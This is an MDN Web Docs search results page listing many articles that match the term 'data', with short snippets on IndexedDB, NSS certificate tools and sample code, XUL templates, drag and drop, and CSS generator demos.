... 57 self add-on sdk access data that is bundled with the add-on, and add-on metadata.
... 59 simple-storage add-on sdk, add-ons, reference lets an add-on store data so that it's retained across firefox restarts.
...And 113 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
6 aria accessibility, glossary aria (accessible rich internet applications) is a w3c specification for adding semantics and other metadata to html to cater to users of assistive technology.
... 22 arpanet glossary, infrastructure the arpanet (advanced research projects agency network) was an early computer network, constructed in 1969 as a robust medium to transmit sensitive military data and to connect leading research groups throughout the united states.
... 23 array array, codingscripting, glossary, javascript, programming an array is an ordered collection of data (either primitive or object depending upon the language).
...And 102 more matches
Index
MozillaTechXPCOMIndex
to this end, there exist xpcom interfaces to read and write registry data.
... 3 aggregating the in-memory datasource rdf no summary!
... 74 storage guide, interfaces, storage, toolkit api storage is a sqlite database api.
...And 99 more matches
Using IndexedDB - Web APIs
indexeddb is a way for you to persistently store data inside a user's browser.
... basic pattern the basic pattern that indexeddb encourages is the following: open a database.
... create an object store in the database.
...And 98 more matches
RDF in Mozilla FAQ - Archive of obsolete content
first, it is a simple, cross-platform database for small data stores.
...the open directory dataset is available as a (huge) rdf/xml dump.
... it describes thousands of web sites using a mix of the dublin core metadata vocabulary and the dmoz taxonomy.
...And 85 more matches
certutil
name certutil — manage keys and certificate in the the nss database.
... synopsis certutil [options] arguments description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key database files.
... it can also list, generate, modify, or delete certificates within the database, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database.
...And 85 more matches
NSS tools : certutil
name certutil — manage keys and certificate in both nss databases and other nss tokens synopsis certutil [options] [[arguments]] description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key databases.
... it can specifically list, generate, modify, or delete certificates, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database.
... certificate issuance, part of the key and certificate management process, requires that keys and certificates be created in the key database.
...And 84 more matches
Client-side storage - Learn web development
previous overview: client-side web apis modern web browsers support a number of ways for web sites to store data on the user's computer — with the user's permission — then retrieve it when necessary.
... this lets you persist data for long-term storage, save sites or documents for offline use, retain user-specific settings for your site, and more.
... prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use client-side storage apis to store application data.
...And 79 more matches
NSS API Guidelines
the certdb library manipulates the certificate database (add, create, delete certificates and crls).
... low cert lib/certdb cdbhdl.h, certdb.h, cert.h, certt.h certhi provides high-level certificate-related functions, that do not access the certificate database, nor individual certificate data directly.
... high cert lib/certhigh ocsp.h, ocspt.h crmf provides functions, and data types, to handle certificate management message format (cmmf) and certificate request message format (crmf, see rfc 2511) data.
...And 63 more matches
Streams - Plugins
streams are objects that represent urls and the data they contain, or data sent by a plug-in without an associated url.
...each stream has an associated mime type identifying the format of the data in the stream.
...the browser calls the plug-in methods npp_newstream, npp_writeready, npp_write, and npp_destroystream to, respectively, create a stream, find out how much data the plug-in can handle, push data into the stream, and delete it.
...And 61 more matches
Drag Operations - Web APIs
the drag operations described in this document use the datatransfer interface.
... this document does not use the datatransferitem interface nor the datatransferitemlist interface.
...when an image or link is dragged, the url of the image or link is set as the drag data, and a drag begins.
...And 60 more matches
nsIFaviconService
to use this service, use: var faviconservice = components.classes["@mozilla.org/browser/favicon-service;1"] .getservice(components.interfaces.nsifaviconservice); method overview void addfailedfavicon(in nsiuri afaviconuri); void expireallfavicons(); void getfavicondata(in nsiuri afaviconuri, out autf8string amimetype, [optional] out unsigned long adatalen, [array,retval,size_is(adatalen)] out octet adata); obsolete since gecko 22.0 astring getfavicondataasdataurl(in nsiuri afaviconuri); obsolete since gecko 22.0 nsiuri getfaviconforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconimageforpage(in nsiuri apageuri); ...
...obsolete since gecko 22.0 nsiuri getfaviconlinkforicon(in nsiuri afaviconuri); boolean isfailedfavicon(in nsiuri afaviconuri); void removefailedfavicon(in nsiuri afaviconuri); void setandloadfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); obsolete since gecko 22.0 void setfavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, in prtime aexpiration); obsolete since gecko 22.0 void setfavicondatafromdataurl(in nsiuri afaviconuri, in astring adataurl, in prtime aexpiration); obsolete since gecko 22.0 void setfaviconurlforpage(in nsiuri a...
... expireallfavicons() expires all known favicons, removing them from the database.
...And 59 more matches
Basic concepts - Web APIs
indexeddb is a way for you to persistently store data inside a user's browser.
...indexeddb is useful for applications that store a large amount of data (for example, a catalog of dvds in a lending library) and applications that don't need persistent internet connectivity to work (for example, mail clients, to-do lists, and notepads).
... for more information on how the browser handles storing your data in the background, read browser storage limits and eviction criteria.
...And 56 more matches
An overview of NSS Internals
this is often sufficient if you encrypt data for yourself, but as soon as you need to exchange signed/encrypted data with communication partners, using public key encryption simplifies the key management.
... a cryptographic transaction, such as encryption or decryption related to a data exchange, usually involves working with the x.509 certs of your communication partners (peer).
...all of this requires storing, looking up, and retrieving data.
...And 53 more matches
NSS Tools certutil
using the certificate database tool the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files.
... it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key3.db file.
... starting from nss 3.35, the database format was upgraded to support sqlite as described in this document.
...And 51 more matches
Using the clipboard
for other types of data, such as urls or images, you will need to use a more complex method.
...you can use them to copy and paste any type of data from your application to the clipboard.
...the first is an object that holds the data to put on the clipboard.
...And 51 more matches
Observer Notifications
you can cancel the shutdown from here by setting asubject.data to true (asubject is the first parameter to your observer, the data value is an nsisupportsprbool).
... note: the data value for this notification is either 'shutdown' or 'restart'.
... note: the data value for this notification is always 'shutdown-persist'.
...And 48 more matches
NSS tools : modutil
name modutil - manage pkcs #11 module information within the security module database.
...please contribute to the initial review in mozilla nss bug 836477[1] description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
... modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...And 45 more matches
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
name modutil — manage pkcs #11 module information within the security module database.
... synopsis modutil [options] arguments description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
... modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...And 45 more matches
Sending forms through JavaScript - Learn web development
a form is not always a form with progressive web apps, single page apps, and framework based apps, it's common to use html forms to send data without loading a new document when response data is received.
... gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load.
... many modern uis only use html forms to collect input from the user, and not for data submission.
...And 44 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
ilename, encryptedfilename); validationfailed = pr_true; } if (validationfailed) { fprintf(stderr, "\nusage: %s %s \n\n", progname, "-d -d <dbdirpath> -b <headerfilename> -e <encryptfilename> -o <opfilename>\n"); exit(-1); } } /* * sign the contents of input file using private key and * return result as secitem */ secstatus signdata(const char *infilename, seckeyprivatekey *pk, secitem *res) { secstatus rv = secfailure; unsigned int nb; unsigned char ibuf[4096]; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to open \"...
... goto cleanup; } } rv = sgn_end(sgn, res); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_end\n"); goto cleanup; } cleanup: if (infile) { pr_close(infile); } if (sgn) { sgn_destroycontext(sgn, pr_true); } return rv; } /* * verify the signature using public key */ secstatus verifydata(const char *infilename, seckeypublickey *pk, secitem *sigitem, secupwdata *pwdata) { unsigned int nb; unsigned char ibuf[4096]; secstatus rv = secfailure; vfycontext *vfy = null; prfiledesc *infile = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_std...
...err, "unable to open \"%s\" for reading.\n", infilename); rv = secfailure; goto cleanup; } vfy = vfy_createcontext(pk, sigitem, sec_oid_pkcs1_md5_with_rsa_encryption, pwdata); if (!vfy) { pr_fprintf(pr_stderr, "unable to create context for verifying signature\n"); rv = secfailure; goto cleanup; } rv = vfy_begin(vfy); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while vfy_begin\n"); goto cleanup; } while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { rv = vfy_update(vfy, ibuf, nb); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while vfy_u...
...And 44 more matches
Using XMLHttpRequest - Web APIs
in this guide, we'll take a look at how to use xmlhttprequest to issue http requests in order to exchange data between the web site and a server.
... function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously.
...it starts with "xml" because when it was created the main format that was originally used for asynchronous data exchange were xml handling responses there are several types of response attributes defined by the living standard specification for the xmlhttprequest() constructor.
...And 44 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
2 allowing cross-origin use of images and canvas advanced, cors, canvas, html, image, reference, security, storage, data html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin.
... 13 data-* global attributes, html, reference the data-* global attributes form a class of attributes called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation by scripts.
... 19 inputmode attribute, editing, forms, global attributes, html, input, reference, text, web, contenteditable, global, inputmode, text input the inputmode global attribute is an enumerated attribute that hints at the type of data that might be entered by the user while editing the element or its contents.
...And 44 more matches
Recommended Drag Types - Web APIs
the html drag and drop api supports dragging various types of data, including plain text, urls, html code, files, etc.
... the document describes best practices for common draggable data types.
... caution: all methods and properties in this document with a moz prefix, such as mozsetdataat(), will only work with gecko-based browsers.
...And 43 more matches
Introduction - Archive of obsolete content
a good analogy is to the results of a database query.
...some other systems call this databinding.
... effectively, xul templates are the xul way of doing databinding.
...And 42 more matches
The Implementation of the Application Object Model - Archive of obsolete content
the second section describes the xul/rdf architecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annotatable with local data.
...rdf provides a very general mechanism for representing relationships between different disparate types of data.
... the relationships between data are represented as a directed labeled graph structure.
...And 42 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
84 datasources xul attributes, xul reference no summary!
... 348 statedatasource xul attributes, xul reference no summary!
... 435 how to implement a custom xul query processor component xul supports templating to create a block of content from a datasource query.
...And 40 more matches
Templates - Archive of obsolete content
« previousnext » in this section, we'll find out how to populate elements with data.
... populating elements xul provides a method in which we create elements from data supplied by rdf, either from an rdf file or from an internal datasource.
... numerous datasources are provided with mozilla such as bookmarks, history and mail messages.
...And 38 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
the single-page context and abstraction of data from the presentation can give your web applications new continuity, precision and control.
... this model is also interesting because is optimized to access contextual data instead reloading full web pages.
...a simple ticker element implemented in dhtml statically includes the data in the page.
...And 37 more matches
sample2
-e %s -o : output file name is not found\n", progname, dbdir, headerfilename, encryptedfilename); validationfailed = pr_true; } if (validationfailed) { fprintf(stderr, "\nusage: %s %s \n\n", progname, "-d -d <dbdirpath> -b <headerfilename> -e <encryptfilename> -o <opfilename>\n"); exit(-1); } } /* * sign the contents of input file using private key and * return result as secitem */ secstatus signdata(const char *infilename, seckeyprivatekey *pk, secitem *res) { secstatus rv = secfailure; unsigned int nb; unsigned char ibuf[4096]; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for reading.\n", infilename); rv = secfailure; goto cleanup; } /* sign usi...
...gn_update(sgn, ibuf, nb); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_update\n"); goto cleanup; } } rv = sgn_end(sgn, res); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_end\n"); goto cleanup; } cleanup: if (infile) { pr_close(infile); } if (sgn) { sgn_destroycontext(sgn, pr_true); } return rv; } /* * verify the signature using public key */ secstatus verifydata(const char *infilename, seckeypublickey *pk, secitem *sigitem, secupwdata *pwdata) { unsigned int nb; unsigned char ibuf[4096]; secstatus rv = secfailure; vfycontext *vfy = null; prfiledesc *infile = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for reading.\n", infilename); rv = secfailure; goto...
... cleanup; } vfy = vfy_createcontext(pk, sigitem, sec_oid_pkcs1_md5_with_rsa_encryption, pwdata); if (!vfy) { pr_fprintf(pr_stderr, "unable to create context for verifying signature\n"); rv = secfailure; goto cleanup; } rv = vfy_begin(vfy); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while vfy_begin\n"); goto cleanup; } while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { rv = vfy_update(vfy, ibuf, nb); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while vfy_update\n"); goto cleanup; } } rv = vfy_end(vfy); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while vfy_end\n"); goto cleanup; } cleanup: if (infile) { pr_close(infile); } if (vfy) { vfy_destroycontext(vfy, pr_true); } return rv; } /* * write cryptographic parameters to header file */ secstatus writetoheade...
...And 37 more matches
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens.
...this tool can also create key3.db, cert8.db, and secmod.db security database files.
... the tasks associated with security module database management are part of a process that typically also involves managing key databases (key3.db files) and certificate databases (cert8.db files).
...And 37 more matches
Box-shadow generator - CSS: Cascading Style Sheets
box-shadow generator html content <div id="container"> <div class="group section"> <div id="layer_manager"> <div class="group section"> <div class="button" data-type="add"> </div> <div class="button" data-type="move-up"> </div> <div class="button" data-type="move-down"> </div> </div> <div id="stack_container"></div> </div> <div id="preview_zone"> <div id="layer_menu" class="col span_12"> <div class="button" id="element" data-type="subject" data-title="element"> element </div> <div class="button" id="before" data-type="subject" da...
...ta-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <div class="button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic='after' data-label=":after"></div> </div> <div id="preview"> <div id="obj-element"> <div class="content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div> </div> ...
...> <div id="controls" class="group section"> <div class="wrap-left"> <div class="colorpicker category"> <div class="title"> </div> <div id="colorpicker" class="group"> <div id="gradient" class="gradient"> <div id="gradient_picker"> </div> </div> <div id="hue" data-topic="hue" class="hue"> <div id="hue_selector"> </div> </div> <div class="info"> <div class="input" data-topic="hue" data-title='h:' data-action="hsv"></div> <div class="input" data-topic="saturation" data-title='s:' data-action="hsv"></div> <div class="input" d...
...And 37 more matches
Template Builder Interface - Archive of obsolete content
« previousnext » when inserting an element into a xul document, the element is checked to see if it has a datasources attribute.
...this isn't a very common technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://purl.org/dc/elements/1.1/title"/></html:p> </template> </html:div> this example generates three paragraphs.
...note also that the datasources attribute has been placed on an html element.
...And 34 more matches
Client-side form validation - Learn web development
previous overview: forms next before submitting data to the server, it is important to ensure all required form controls are filled out, in the correct format.
... this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls.
... client-side validation is an initial check and an important feature of good user experience; by catching invalid data on the client-side, the user can fix it straight away.
...And 34 more matches
HTML parser threading
html parser threading the html parser parses data received from the network off the main thread.
... (there's currently one parser thread serving all parser instances.) data received from document.write() is parsed on the main thread.
... main objects nshtml5parser contains the code for dealing with data from document.write().
...And 33 more matches
Enc Dec MAC Output Public Key as CSR
map option letter enumerated commad type */ static commandtype option2command(const char* c) { switch (*c) { case 'g': return gen_csr; case 'e': return encrypt; case 'd': return decrypt; default: return unknown; } } /* * wrap the symkey using public key */ secstatus wrapkey(pk11symkey* key, seckeypublickey *pubkey, secitem **wrappedkey) { secstatus rv; secitem *data = (secitem *)port_zalloc(sizeof(secitem)); if (!data) { pr_fprintf(pr_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } data->len = seckey_publickeystrength(pubkey); data->data = (unsigned char*)port_zalloc((data->len)*sizeof(unsigned int)); if (!data->data) { pr_fprintf(pr_stderr, "error while allocating memory\n")...
...; rv = secfailure; goto cleanup; } rv = pk11_pubwrapsymkey(ckm_rsa_pkcs, pubkey, key, data); if (rv != secsuccess) { rv = secfailure; } else { *wrappedkey = data; return secsuccess; } cleanup: if (data) { secitem_freeitem(data, pr_true); } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_false, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key...
..., type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters from the header file */ secstatus readfromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char *header; char *trailer; prfiledesc *file = null; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open %s\n", filename); return secfailu...
...And 33 more matches
sslfnc.html
database files are opened read-only.
... syntax #include "nss.h" secstatus nss_init(char *configdir); parameter this function has the following parameter: configdir a pointer to a string containing the pathname of the directory where the certificate, key, and security module databases reside.
... nss_init opens the database files read-only.
...And 33 more matches
Color picker tool - CSS: Cascading Style Sheets
colorpicker tool html <div id="container"> <div id="palette" class="block"> <div id="color-palette"></div> <div id="color-info"> <div class="title"> css color </div> </div> </div> <div id="picker" class="block"> <div class="ui-color-picker" data-topic="picker" data-mode="hsl"></div> <div id="picker-samples" sample-id="master"></div> <div id="controls"> <div id="delete"> <div id="trash-can"></div> </div> <div id="void-sample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" dat...
...a-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; background: -moz-linear-gradient(bottom, #000 0%, rgb...
...(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area { background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -web...
...And 33 more matches
Border-image generator - CSS: Cascading Style Sheets
border image generator html content <div id="container"> <div id="gallery"> <div id="image-gallery"> <img class="image" src="https://udn.realityripple.com/samples/2c/fa0192d18e.png" data-stateid="border1"/> <img class="image" src="https://udn.realityripple.com/samples/b8/dacdd63e77.png" data-stateid="border2"/> <img class="image" src="https://udn.realityripple.com/samples/07/1fcc357205.png" data-stateid="border3"/> <img class="image" src="https://udn.realityripple.com/samples/7b/dd37c1d691.png" data-stateid="border4"/> <img class="image" src="https://udn.realityripple.com/samples/a9/b9fff72dab.png" data-stateid="border5...
..."/> <img class="image" src="https://udn.realityripple.com/samples/fb/c0b285d3da.svg" data-stateid="border6"/> </div> </div> <div id="load-actions" class="group section"> <div id="toggle-gallery" data-action="hide"> </div> <div id="load-image" class="button"> upload image </div> <input id="remote-url" type="text" placeholder="load an image from url"/> <div id="load-remote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider" data-topic="scale" ...
... data-unit="%" data-max="300" data-sensivity="10"> </div> </div> <div class="separator"></div> <div class="property"> <div class="name">draggable</div> <div class="ui-checkbox" data-topic='drag-subject'></div> </div> <div class="property right"> <div class="name">section height</div> <div class="ui-input-slider" data-topic="preview-area-height" data-min="400" data-max="1000"> </div> </div> </div> <div id="preview_section" class="group section"> <div id="subject"> <div class="guideline" data-axis="y" data-topic="slice-top"></div> <di...
...And 32 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
linear-gradient generator html content <div id="container"> <div id="gradient-container" data-alpha="true"> </div> <div id="controls"> <div class="section"> <div class="title"> active point </div> <div class="property"> <div class="ui-input-slider" data-topic="point-position" data-info="position" data-unit="px" data-min="-1000" data-value="0" data-max="1000" data-sensivity="5"></div> <div id="delete-point" class="button"> delete point </div> </div> <div class="ui-color-picker" data-topic="picker"></div> </div> <div class="section"> <div class="title"> active axis </div> ...
... <div class="property"> <div class="name"> axis unit </div> <div class="ui-dropdown" data-topic="axis-unit" data-selected="1"> <div data-value='px'> pixels (px) </div> <div data-value='%'> percentage (%) </div> </div> <div id="delete-axis" class="button"> delete line </div> </div> <div class="property"> <div class="ui-slider" data-topic="axis-rotation" data-info="rotation" data-min="-180" data-value="0" data-max="180"></div> </div> </div> <div id="tool-section" class="section"> <div class="title"> tool settings </div> <d...
...(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area { background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -web...
...And 32 more matches
Enhanced Extension Installation - Archive of obsolete content
c:\program files\mozilla firefox\extensions extension metadata the extension system stores metadata in both of the two locations, in the following files: <location>/extensions/extensions.rdf - an xml/rdf datasource listing all the extensions installed at that location.
... when changes are made to the extensions datasource - new items are installed, old items uninstalled, enabled or disabled, a .autoreg file is written to the profile directory as well, which tells the startup code that the system has been modified, so that it destroys the component registries, finishes pending transactions and regenerates metadata appropriately.
... datasource structure the extension manager implements a rdf datasource which contains a composite of the two xml/rdf datasources at the two install locations.
...And 31 more matches
mozIStorageConnection
storage/public/mozistorageconnection.idlscriptable this interface represents a database connection attached to a specific file or an in-memory database.
... it is the primary interface for interacting with a database, including creating prepared statements, executing sql, and examining database errors.
... void executesimplesql(in autf8string asqlstatement); boolean indexexists(in autf8string aindexname); void preload(); obsolete since gecko 1.9 void removefunction(in autf8string afunctionname); mozistorageprogresshandler removeprogresshandler(); void rollbacktransaction(); void setgrowthincrement(in print32 aincrement, in autf8string adatabasename); mozistorageprogresshandler setprogresshandler(in print32 agranularity, in mozistorageprogresshandler ahandler); boolean tableexists(in autf8string atablename); attributes attribute type description connectionready boolean indicates if the connection is open and ready to use.
...And 31 more matches
nsITransferable
widget/nsitransferable.idlscriptable a container for typed data that can be transferred from one place or owner to another, possibly involving format conversion.
...to create an instance, use: var transferable = components.classes["@mozilla.org/widget/transferable;1"] .createinstance(components.interfaces.nsitransferable); it's important to note that a flavor, which specifies a type of data the transferable supports, is represented by a null-terminated string indicating the mime type of the format supported by the flavor.
... method overview void adddataflavor( in string adataflavor ); nsisupportsarray flavorstransferablecanexport( ); nsisupportsarray flavorstransferablecanimport( ); void getanytransferdata( out string aflavor, out nsisupports adata, out unsigned long adatalen ); void gettransferdata( in string aflavor, out nsisupports adata, out unsigned long adatalen ); void init(in nsiloadcontext acontext); boolean islargedataset( ); void removedataflavor( in string adataflavor ); void settransferdata( in string aflavor, in nsisupports adata, in unsigned long adatalen ); attributes attribute type description converter nsiformatconverter an nsiformatconverter instance which implements the cod...
...And 31 more matches
HTML Drag and Drop API - Web APIs
interfaces the html drag and drop interfaces are dragevent, datatransfer, datatransferitem and datatransferitemlist.
... the dragevent interface has a constructor and one datatransfer property, which is a datatransfer object.
... datatransfer objects include the drag event's state, such as the type of drag being done (like copy or move), the drag's data (one or more items), and the mime type of each drag item.
...And 31 more matches
StringView - Archive of obsolete content
create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
... in the past, this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer.
... however, this is slow and error-prone, due to the need for multiple conversions (especially if the binary data is not actually byte-format data, but, for example, 32-bit integers or floats).
...And 30 more matches
Style System Overview - Archive of obsolete content
the declarations (properties & values) are stored in data structs (nscss*).
... the data format of the structs and selectors is mostly clear from the code and not worth going into (although the implementation of :not() is confusing).
...(we'll see what this does later.) the main argument to rulesmatching is a structure of enumeration data that implementations use to determine more quickly which rules match.
...And 30 more matches
JavaScript Client API - Archive of obsolete content
further, you agree (a) to maintain and link to (including on websites from which your third party client may be downloaded) a separate, conspicuous, and reasonably detailed privacy policy detailing how data collected or transmitted by your third party client is managed and protected; (b) that your third party client will only store data in encrypted form on the firefox sync servers operated by mozilla; (c) that you and your third party client will use the firefox sync apis solely for their intended purpose; (d) that your third party client will not hide or mask its identity as it uses the services a...
... tracker entity that tracks changes to data.
... each engine has a corresponding tracker which listens for changes to data or events it is interested in.
...And 29 more matches
gtstd.html
upgraded documentation may be found in the current nss reference getting started with ssl chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases.
... ssl, pkcs #11, and the default security databases setting up the certificate and key databases building nss programs ssl, pkcs #11, and the default security databases the basic relationships among the nss libraries are described in introduction to network security services.
... before running the sample programs, it's important to understand the relationships between the ssl interface, the pkcs #11 interface, pkcs #11 modules, and the default netscape security databases.
...And 29 more matches
URLs - Plugins
« previousnext » this chapter describes retrieving urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail.
...plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher.
... wais (wide area information servers) locates wais databases and their documents.
...And 29 more matches
Creating a Help Content Pack - Archive of obsolete content
(we're still not actually to the point where we're describing the actual data in each of these, so we'll just use some filler data for now.) add the following code inside the rdf:description element you just created: <nc:panellist> <rdf:seq> </rdf:seq> </nc:panellist> you'll create the relevant information descriptions within the rdf:seq element.
... the location of each of the glossary, index, and table of contents data sources is stored in one rdf:description element contained within one rdf:li element, like so: <rdf:seq> <rdf:li> <rdf:description nc:panelid="glossary" nc:datasources="chrome://foo/locale/help/glossary.rdf"/> </rdf:li> <rdf:li> <rdf:description nc:panelid="toc" nc:datasources="chrome://foo/locale/help/glossary.rdf"/> </rdf:li> <rdf:li> <rdf:description nc:panelid="index" nc:datasources="chrome://foo/locale/help/glossary.rdf"/> </rdf:li> ...
... </rdf:seq> the help viewer ui may or may not provide a panel for each of these data sources.
...And 28 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
all you have to do is write some simpler functions which work with the data being dragged.
...they handle the event, handle the xpcom interfaces and pass a simpler data structure to functions of the observer object.
... ondragstart(event, transferdata, action) define this function to have something happen when a drag starts.
...And 27 more matches
TCP/IP Security - Archive of obsolete content
when a user wants to transfer data across networks, the data is passed from the highest layer through intermediate layers to the lowest layer, with each layer adding information.
... at the application layer, the payload is the actual application data.
... the lowest layer sends the accumulated data through the physical network; the data is then passed up through the layers to its destination.
...And 27 more matches
